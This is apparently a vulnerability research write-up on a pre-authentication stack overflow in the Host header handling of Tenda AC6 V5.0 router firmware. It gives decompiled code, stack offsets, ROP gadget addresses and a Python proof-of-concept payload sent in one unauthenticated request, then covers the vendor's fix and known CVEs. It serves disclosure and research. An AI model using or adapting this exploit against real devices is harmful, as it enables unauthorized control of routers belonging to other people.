TL;DR
Part 1 covered the boot chain up to the point where the eCos scheduler hands control to the application threads. This post uses the pre-authentication stack overflow in the thread that serves as the HTTP server to reach arbitrary code execution from a single unauthenticated request. The demonstration shows this by printing a string we chose to the UART and suspending the web management thread.
| Product | Tenda AC6 V5.0 |
| Vulnerable version | V02.03.01.110 |
| Stable version | V03.03.18.12 |
Background
The boot flow in Part 1 ends at cyg_scheduler_start, and among the runnable threads the highest-priority one runs first. On this router, one of the threads registered by the C++ static constructors brings up a GoAhead-derived web server that runs as the httpd_main thread.
Running eCos RTOS on a MIPS-based RTL8197F chipset, this target has essentially no memory-protection mitigations.
- No MMU-enforced page permissions, so memory is effectively RWX.
- No ASLR, so key addresses including the thread stacks are fixed on every boot.
- No stack canaries.
- The kernel, the threads, and every buffer share a single address space.
The Attack Surface
The web server chains its URL handlers and walks them in order for every request. The first one is the authentication handler FUN_800c1814, which corresponds to GoAhead’s websSecurityHandler. Because it runs before the login check, any path reachable inside it is reachable pre-authentication.

Apart from static files, /favicon.ico, and a couple of status/info endpoints, even a plain GET / falls through into this same path.
Root Cause
The HTTP header parser FUN_800bb2c4 stores the Host header value with strdup and no length cap.
// FUN_800bb2c4: header parser
iVar3 = strcmp(header_name, "host");
if (iVar3 == 0) {
*(webs + 0x58) = strdup(value); // uncapped copy of the attacker's Host value
}
Then, when the security handler FUN_800c1814 moves that Host value onto its own stack, it passes the source string length (strlen) as the copy length rather than the size of the destination buffer.
// FUN_800c1814 — runs for every non-whitelisted URL, before auth
char auStack_58[40]; // 40-byte destination at sp+0x580
...
uVar8 = *(webs + 0x58); // attacker-controlled Host
uVar5 = strlen(uVar8); // length of the SOURCE
strncpy(auStack_58, uVar8, uVar5); // @0x800c1c34 <-- overflow
strncpy(dst, src, strlen(src)) is effectively strcpy. A long Host value runs well past the 40-byte buffer and overwrites the stack region above it.

sp+0x580 auStack_58 0 <- Host field buf
sp+0x5b0 saved s0 48
sp+0x5b4 saved s1 52
sp+0x5b8 saved s2 56
sp+0x5bc saved s3 60
sp+0x5c0 saved s4 64
sp+0x5c4 saved s5 68
sp+0x5c8 saved s6 72
sp+0x5cc saved s7 76
sp+0x5d0 saved s8 80
sp+0x5d4 saved ra 84 ret addr
So you can overwrite both the saved return address at offset 84 and s0..s8 at offsets 48 through 80. Because the function epilogue restores the s registers from the stack right before jr ra, you control the return address (ra) and can also stage the s register values that the next ROP step will use.
As for the constraints: the Host value passes through strdup and strlen, so a NUL (0x00) byte truncates the string, and because the request is parsed line by line, \r (0x0d) and \n (0x0a) are out too. In short, the payload must not contain 0x00, 0x0d, or 0x0a.
Designing the Exploit
This is an RTOS, so there is no shell, and dropping in raw MIPS shellcode is not an option either. The Host header cannot contain 0x00, 0x0d, or 0x0a, and because MIPS uses fixed-length 32-bit instructions, referencing the $zero register or encoding a small constant or offset routinely produces 0x00 bytes in the machine code. So instead of injecting shellcode, the plan has to be a ROP chain stitched from gadgets already present in the firmware image.
Two primitives carry the whole thing.
The first is a call gadget at 0x800915b4.
jalr $s1
move $a0, $s2 ; delay slot: a0 = s2
move $v0, 0
lw $ra, 0x24($sp)
lw $s2, 0x20($sp)
lw $s1, 0x1c($sp)
lw $s0, 0x18($sp)
jr $ra
addiu $sp, $sp, 0x28
It moves $s2 into $a0, calls the function in $s1, then reloads $s0, $s1, $s2, and $ra from the stack and returns. Since each call fetches the next s1, s2, and ra off the stack, laying out (function, argument) pairs on the stack lets you call single-argument functions one after another.
The second is an output primitive. There is no shell, but beneath the firmware’s built-in CLI function FUN_800379f4(fd) sits a UART writer, diag_write_string, at 0x8021de74.
// FUN_8021de74 — diag_write_string(char *s)
void diag_write_string(char *s) {
while (*s != '\0')
diag_write_char(*s++); // FUN_8021de2c, one byte to the UART
}
It takes a single pointer to a NUL-terminated string, which is exactly what the call gadget produces. With no ASLR the stack address of the Host payload is known, so pointing s1 at diag_write_string and s2 at a string sitting at the end of the payload prints whatever you want to the UART.

How the chain ends matters too. If you let it run off into a bad address and kill the thread, the web server revives it within a few seconds, but a crash log is left on the UART. Calling cyg_thread_suspend (0x8021efb8) with httpd_main‘s static Cyg_Thread object (0x805ccc50) as the argument instead removes just that thread from scheduling without touching the timer or the alarms. That leaves only the chosen string on the UART while the rest of the system keeps running, with no crash and no reboot.
Proof-of-Concept
A single unauthenticated HTTP request carries a two-stage ROP chain in the Host header: print an arbitrary string, then suspend the web server thread so the system stays up.
WRITES = 0x8021de74 # diag_write_string(a0)
PGAD = 0x800915b4 # clean call gadget: jalr s1 ; a0 = s2 ; reload ; return
SUSPEND = 0x8021efb8 # cyg_thread_suspend(thread)
HTTPD_TCB = 0x805ccc50 # httpd_main's static Cyg_Thread object
MARKER = 0x805d4b60 # where the marker lands on the stack (no ASLR)
p = b"A"*48 + b"A"*4 + le(WRITES) + le(MARKER) + b"A"*24 + le(PGAD) # stage 1: print
p += b"A"*24 + b"A"*4 + le(SUSPEND) + le(HTTPD_TCB) + le(PGAD) # stage 2: suspend
ART = [
" _ _",
" _ ____ ___ __ ___ __| | | |__ _ _",
"| '_ \\ \\ /\\ / / '_ \\ / _ \\/ _` | | '_ \\| | | |",
"| |_) \\ V V /| | | | __/ (_| | | |_) | |_| |",
"| .__/ \\_/\\_/ |_| |_|\\___|\\__,_| |_.__/ \\__, |",
"|_| |___/",
"",
" _ __________ _ _ _",
"| |___ /___ / __| | __ _ ___| |_ ___ __| |",
"| | |_ \\ |_ \\ / _` |/ _` |/ __| __/ _ \\/ _` |",
"| |___) |__) | (_| | (_| | (__| || __/ (_| |",
"|_|____/____/ \\__,_|\\__,_|\\___|\\__\\___|\\__,_|",
]
p += "#".join(ART).encode() + b"\x00"
Once the epilogue restores s1, s2, and ra and the call gadget runs, diag_write_string(&marker) fires, and then the next (function, argument) pair is read to call cyg_thread_suspend on the web server thread.
s = socket.create_connection((TARGET, 80), timeout=5)
s.sendall(b"GET / HTTP/1.1\r\nHost: " + p + b"\r\nConnection: close\r\n\r\n")
All it takes is a single unauthenticated GET / carrying a long Host header.
Demonstration
A single unauthenticated request redirected the web server’s control flow and invoked a firmware function that printed a chosen string to the UART console. This demonstrates pre-authentication remote code execution through a call to existing firmware code. The web server thread then stopped, leaving the management UI unavailable until reboot. The device did not crash or reboot during the demonstration.
Conclusion
A single unauthenticated GET / reaches a pre-auth handler, overruns a 40-byte stack buffer, and drives a firmware-internal ROP chain with the overwritten registers and return address. Running that chain is already arbitrary code execution: it calls chosen firmware functions with chosen arguments and even writes memory directly through a gadget. What the demonstration shows on screen, a string we chose printed to the UART and the web management thread suspended, is a non-destructive proof of that execution. With no ASLR, no NX, and no stack canary, that one controlled return address is the whole game.
Static analysis of the international build V03.03.18.12 shows the security handler rewritten as Tenda_webs_Login_Handler (FUN_800eb178). The Host value moved to webs+0x15c, and the uncapped strncpy from Root Cause became a size-bounded strlcpy.
// V03.03.18.12, Tenda_webs_Login_Handler (FUN_800eb178), pre-auth
if (*(webs + 0x15c) == 0) { // empty / absent Host
websError(webs, 0x20190, "Bad host header");
return 1; // rejected before the copy
}
...
// FUN_8006f244 == strlcpy(dst, src, n): copies at most n-1 bytes, always NUL-terminates
strlcpy(auStack_ac /* 64 bytes */, *(webs + 0x15c) /* Host */, 0x40);
Copying with a 0x40 cap into a 64-byte buffer cannot overflow regardless of Host length. This confirms the code change by static analysis only; I did not verify on a physical device that the exploit is blocked.
The release notes make no mention of it.
Appendix: Known Tenda AC6 CVEs
Public CVEs registered with NVD for the Tenda AC6 V5.0 (Realtek/eCos, V02.03.x and V03.03.x) line.
| Published | CVE | CWE | CVSS v3.1 | Summary |
|---|---|---|---|---|
| 2023-09-05 | CVE-2021-40546 | CWE-404 | 4.9 (Medium) | AC6 V4.0 RTL (V02.03.01.26). Admin-authenticated: a long wifiPwd_5G string crashes the device (DoS). |
| 2024-02-21 | CVE-2023-24332 | CWE-121 | 8.1 (High) | AC6 V5.0 (V03.03.02.01). Stack overflow via /goform/PowerSaveSet, reaching arbitrary command execution. |
| 2025-08-20 | CVE-2025-24322 | CWE-304 | 9.8 (Critical) | V5.0 V02.03.01.110. Weak initial-setup authentication; merely browsing to the device yields code execution. |
| 2025-08-20 | CVE-2025-24496 | CWE-288 | 7.5 (High) | V5.0 V02.03.01.110. /goform/getproductInfo leaks sensitive information. |
| 2025-08-20 | CVE-2025-27129 | CWE-288 | 9.8 (Critical) | V5.0 V02.03.01.110. HTTP authentication bypass leading to code execution. |
| 2025-08-20 | CVE-2025-30256 | CWE-772 | 7.5 (High) | V5.0 V02.03.01.110. Flooding the HTTP header parser reboots the device (same neighborhood as this post’s bug). |
| 2025-08-20 | CVE-2025-31355 | CWE-494 | 9.8 (Critical) | V5.0 V02.03.01.110. Firmware signature validation bypass lets a tampered image run code. |
| 2025-08-20 | CVE-2025-32010 | CWE-121 | 9.8 (Critical) | V5.0 V02.03.01.110. Stack overflow in the Cloud API path leading to code execution. |